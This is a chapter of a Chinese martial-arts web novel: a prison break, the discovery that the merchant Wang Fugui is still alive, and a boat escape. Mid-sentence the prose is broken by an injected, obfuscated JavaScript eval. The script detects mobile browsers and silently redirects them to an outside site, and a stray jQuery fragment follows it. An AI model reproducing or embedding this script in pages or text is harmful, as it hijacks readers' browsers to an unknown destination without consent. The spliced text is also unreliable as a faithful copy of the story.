“刘超?”
他循声望去,只见那人迅速躲进暗处,从身后摸出一件黑色斗篷丢给自己。
“换上后跟我走。”
刘超大松一口气,混在这死囚堆里,短短几日已经被饿得头晕眼花。他听见木门吱呀一声打开就猛地坐起,只以为是有人来叫自己上路了。
情绪几经起落,他只觉得头痛不已,将自己裹得漆黑后跟着摸了出去。
这收监所建在水渠边,到处阴暗潮湿,还散发着阵阵恶臭。刘超擤擤鼻子,正疑惑这收监所戒备为何竟如此松散,转眼脚下就踢到一团软绵绵的肉。低头一看,整条廊上横七竖八歪着几十个看守,个个跟烂泥一样瘫在牢房门口不省人事。
李牧也脚下生风,两人很快就走出了甲乙丙廊。行至转角处,再往前走就看不到亮光了。他抬手取下石壁上的火把,正要继续往前,却被身后的人拉住。
“江玉呢。”
李牧也转头,两人对上视线。刘超比眼前人矮了一点,抬头只见他垂眸看着自己,此外看不出一点情绪。
刘超觉得这个小子很没有规矩:“问你话呢!”
李牧也皱眉,一把捂住他长满胡须的嘴巴,两人躲在墙角一动不动。
一个囚犯扒着木门砰砰摇着,此外再没有别的动静。
“官爷!官爷!饶命啊官爷!”那人许是在刚刚听见刘超的声音,不死心地拼命喊叫起来。
李牧也走出转角。看身型倒像是方才被狱卒们拖走的那个囚犯。
那囚犯像是看不见人似的仍在喊,不断走动着发出哗哗的声音。
刘超生怕他喊来狱卒,忙上前准备拿东西堵住他的嘴。李牧也叹了口气,也跟着凑上前去。
他举着火把靠近,瞬间照亮了眼前原本漆黑的一片。
火光照在地牢深处,反射出浑浊的水光。甫一靠近,腐肉味混着霉气直冲鼻腔,两人胃里顿时翻江倒海,默契地拉起衣领紧紧遮住口鼻。
那犯人早上刚经过好一番拷打,此时正戴着镣铐泡在及腰的水洞里,原本皮开肉绽的下半身此时早已看不见一点血色。
“别喊了。”李牧也将火把往上移,看到一对核桃样子的青紫双眼,“趁舌头泡烂之前求他们给你个痛快吧。”
那囚犯听着他沉重的声音,顿时如坠冰窟,跌坐在水洞旁边呜呜地哭起来。
刘超坚持要上前堵住他的嘴,那人胡乱张开手臂去挡:“两位官爷,我真的是冤枉的!我只是个普通枣商,哪里来的胆子去贩私盐啊!”
李牧也听到这,顿下脚步返了回去。
“你是哪里人。”他抓着那人的衣领将他拎了起来,再次将火把往他脸上一照,“什么时候被抓的。”
那人紧张地喘着粗气,哆嗦着开口:“小人,小人长洲县枣商王富贵。”
刘超一听这话,一把夺过李牧也手上的火把,瞪圆了眼睛打量起这个囚犯。
此人被打得鼻青脸肿、五官泛着油光肿成高高的一团。不仔细瞧倒真看不出来是原本威风凛凛的王老爷王富贵。
刘超一急正要开口,李牧也伸手将他拍晕了过去。
“你到底想干啥!”刘超揪住他的脖子,压着嗓子咬牙切齿地说,“他根本没死!老子替人背黑锅背了这么久,还不…”
“江玉说不准还在药房。”李牧也看他憋得满脸通红,拍开他的手提醒道。
刘超这才猛地想起正事来,方才他确实听到了骨哨的声音正要问个明白,仔细想来还不是被这个人打断了。
他想到这,挠挠脑袋:“那你磨磨叽叽的想干啥!”
李牧也觉得脑仁疼,假装去解刘超手背上的镣铐,趁机点了他的哑穴。
江玉那边早已脱身,和花盈衣两个人蹲在东门岸边的芦苇丛里。
提刑官满面春风,带着一队人马从收监所里跑出来,兴冲冲地往镇上去了。
几个狱卒站在门口讲着话:“逃犯被别人抓到了还这么高兴啊。”
“嗨,这你就不懂了吧,谁抓到的重要吗。”
“也是,不管是谁抓到的,都是他抓到的。”
两人一前一后叹了口气,懒懒散散地站回原位了。
花盈衣见提刑官终于离开收监所,安心瘫坐在地上:“你说那什么暗卫,他行吗。”
“哎,你放心吧。”江玉头也不回,继续扒着芦苇仔细盯着东门方向。
一切按计划进行,她确定无异常,摸出骨哨朝东门轻轻吹了三声。
.
“她没事了。”
刘超也听到骨哨正要开口,却发现发不出声音。他一下怒火中烧,还没发作就被他扛起来嗖嗖几下飘,从东门跑了出去。
东门狱卒都被点了穴,抱着柱子呼呼大睡着。
江玉几人早早地就在远处设了小船,见两人安全从收监所里出来,这才放心地离开芦苇丛。
一切风平浪静。
船夫收了银子后就高兴地摇起橹来,刘超坐在船尾一声不吭。
花盈衣起先说话:“我以为这地方有多可怕呢。怎么你们两个无名之辈,换身衣服就溜进去了啊?”
江玉耸耸肩,说:“你真当这又老又破的小小收监所是什么铜墙铁壁。”
“要是你自己都把自己当贼,别人一看就知道要抓你。”她将手伸出去拔了根芦苇,“就是要大摇大摆地走进去才像样。”
花盈衣似懂非懂地点了点头。
李牧也心想着该如何开口告诉江玉王富贵的事。
先前他未免惹出祸端,并未将王宅之事和盘托出,是以江玉只把他当作一个江湖杀手,此外没再多问一句。如今那姓王的分明被关在收监所里生死未卜,联系到刘超那副激动的神情,恐怕那人是对她们十分重要了。
“王富贵还活着。”李牧也垂眸扔下这么一句,再抬头时就对上了江玉略带惊讶的眼神。
“啊?”江玉本要开口问刘超的事,听到这话一下子坐直了,又迅速瘫软下去,“怎的一个个都跑到贡州来了。”
她是想着这地方最清净安全才千辛万苦跑了过来,眼下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541727|171004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这桩桩件件全都挤在一块冒出来,像是特地在追着她跑似的。
船驶出暗处,天光顿时洒落满身,几人这才看见刘超满身污糟的狼狈模样。
李牧也处理着伤口,瞥了他一眼丢过去一瓶药膏。
“哼。”刘超不知何时解了哑穴,抓起药瓶往伤口上抹。
“那日我在醉仙楼打尖,刚结了酒钱准备上路。”刘超抹了把络腮胡上不小心沾到的药膏,说道,“谁知门口突然涌进来十来个喽啰,嚷嚷着说我杀了王富贵。”
江玉见他越说越抑扬顿挫,连忙用芦苇杆戳他膝盖:“说重点。”
“他们在我包袱里翻出那崽种的玉扳指!”刘超猛的拍了下船板,惊得船夫险些脱橹,“娘的,那明明是老子赢来的赌注!”
花盈衣突然插话:“王富贵不是长洲县人吗?怎会被关在这里。”
李牧也撕开染血的布条,皱着眉头给自己换药。
“你们不觉得奇怪吗?提刑官将真凶藏在收监所里,却大张旗鼓悬赏追凶。”她继续发问。
江玉岂止觉得奇怪,这几日发生的事,哪一件不是让她觉得匪夷所思:“你来的时候,老杨知道吗。”
“我刚想说呢!”刘超屡次被打断,原本有些不爽,一听江玉发问又突然瞪圆了眼睛,“老杨一向谨慎,你走后他联系不到你,马上就让我们跟着撤了。我听刘越那边有你的消息,正要去找老杨,他却突然不见了!”
江玉终于断定墨阁已然深陷囹圄,一时虽有些恍惚,正要追问下去,船体就砰一声靠了岸。
“各位客官,这船实在太小,只能送到这了。”
几人下船后往远处看去,根本没有离开多远。
刘超在最前方走着,李牧也和江玉两人并排走在最后头。
其实原本是李牧也一个人走在最末尾,只是江玉总是无法放心让他殿后,便借着搭话的由头与他共行。
“诶,你起初不是说那王富贵已经死了吗。”江玉随口一问。
李牧也顿了一下,有些犹豫地说:“我去的时候,确实只看到一具尸体。”
“喔。”江玉继续埋头走着,这人身长腿也长,他走一步自己要赶两步,她跟得有些烦了,皱眉训斥,“你就不能走慢点。”
李牧也侧目看她一眼,江玉走得浑身发热,便脱下了斗篷,一副气鼓鼓的样子。那斗篷是按着男子身形裁的,原先套在她身上显得有好些宽大,此时被她挽在手里,时不时掉出来一截又被重新塞回去,叫人看着都累。
“给我拿吧。”
江玉一听这话,毫不客气地将斗篷塞给他。李牧也从容接过,展开来抖了一下就给自己披上了。
她见那人动作顺畅,开口问:“你的伤还好吗。”
“不怎么好。”李牧也不知不觉放缓了脚步,言语间竟有些沮丧。
“……”江玉不知该如何套话了,她疑心这人是故意噎她,有些气愤地朝他看去,却冷不丁和他对上眼神。
李牧也迅速将视线移开了,装作无事发生。